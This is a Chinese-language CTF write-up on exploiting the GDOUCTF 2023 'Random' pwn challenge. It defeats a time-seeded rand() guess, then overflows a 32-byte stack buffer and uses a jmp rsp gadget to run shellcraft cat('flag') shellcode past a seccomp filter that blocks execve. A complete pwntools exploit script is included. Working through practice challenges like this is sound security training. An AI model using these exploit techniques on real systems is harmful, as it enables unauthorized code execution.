还得要多研究研究 shellcode 呀……
题面
给了二进制文件
分析
checksec 查看保护:没保护!
1
2
3
4
5
6
7
8
9
10
|
❯ pwn checksec ./RANDOM
[*] '/data/project/ctf-repo/pwn/nssctf/GDOUCTF_2023-Random/RANDOM'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
|
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v7; // r9
unsigned int v8; // eax
int v10; // [rsp+0h] [rbp-10h] BYREF
int v11; // [rsp+4h] [rbp-Ch]
int v12; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0);
setbuf(stdout, 0);
v3 = stderr;
setbuf(stderr, 0);
v12 = 100;
sandbox((__int64)v3, 0, v4, v5, v6, v7);
v8 = time(0);
srand(v8);
for ( i = 0; i < v12; ++i )
{
v11 = rand() % 50;
puts("please input a guess num:");
if ( (unsigned int)__isoc99_scanf("%d", &v10) == -1 )
exit(0);
if ( getchar() != 10 )
exit(1);
if ( v11 == v10 )
{
puts("good guys");
vulnerable();
}
else
{
puts("no,no,no");
}
}
return 0;
}
|
有 sandbox,用 ceccomp 分析下保护:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
❯ ceccomp probe RANDOM
[INFO]: Start tracing process 3181235
[INFO]: Parsing seccomp filter loaded in process 3181235
open -> ALLOW
openat -> ALLOW
read -> ALLOW
write -> ALLOW
execve -> KILL
execveat -> ALLOW
mmap -> ALLOW
mprotect -> ALLOW
sendfile -> ALLOW
ptrace -> ALLOW
fork -> ALLOW
|
关了 execve。
有伪随机数用 time(0) 当种子,用 ctypes 可以过去。
当随机数匹配成功就进入 vulnerable 函数:
1
2
3
4
5
6
7
|
ssize_t vulnerable()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("your door");
return read(0, buf, 0x40u);
}
|
给了栈溢出,但是空间显然不够。溢出完只剩下 24 字节可以用。
但是没开 NX 保护呀,可以试试 ret2shellcode。
看函数表还发现一个 haha 函数:
1
2
3
4
|
void haha()
{
__asm { jmp rsp }
}
|
jmp rsp 内联汇编,rsp 一直指向栈顶,这样跳转就可以往下执行栈上的命令,说明是 ret2shellcode
利用
首先把伪随机数打掉:
1
2
3
4
5
6
|
cFunc = cdll.LoadLibrary("/usr/lib/libc.so.6")
cFunc.srand(cFunc.time(0))
v6 = cFunc.rand() % 50
io.recvuntil(b"num:")
io.sendline(str(v6).encode())
|
接下来就是栈溢出。因为溢出空间不够,就很难办。加上 jmp rsp 之后只剩下 16 字节了。所以要把 shellcode 放在前面,这里可以写跳转 shellcode 到前面,也就是 buf 的位置。
调用 shell 的 shellcode 太长了,直接 cat(“flag”) 短小,所以使用 shellcraft 生成 cat(“flag”)。
1
2
|
shellcode = asm(shellcraft.cat("flag")).ljust(0x20 + 0x8, b"\x00")
payload = shellcode + p64(jmp_rsp) + asm("sub rsp,0x30;call rsp")
|
这样的 shellcode 仅占 0x36 字节,足以写入。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
from ctypes import *
context(os="linux", arch="amd64")
io = process("./RANDOM")
#io = remote("node5.anna.nssctf.cn", 29425)
cFunc = cdll.LoadLibrary("/usr/lib/libc.so.6")
cFunc.srand(cFunc.time(0))
elf = ELF("./RANDOM")
jmp_rsp = 0x40094E
v6 = cFunc.rand() % 50
io.recvuntil(b"num:")
io.sendline(str(v6).encode())
gdb.attach(io)
shellcode = asm(shellcraft.cat("flag")).ljust(0x20 + 0x8, b"\x00")
payload = shellcode + p64(jmp_rsp) + asm("sub rsp,0x30;call rsp")
print(hex(len(payload)))
io.recvuntil(b"door")
io.send(payload)
io.interactive()
|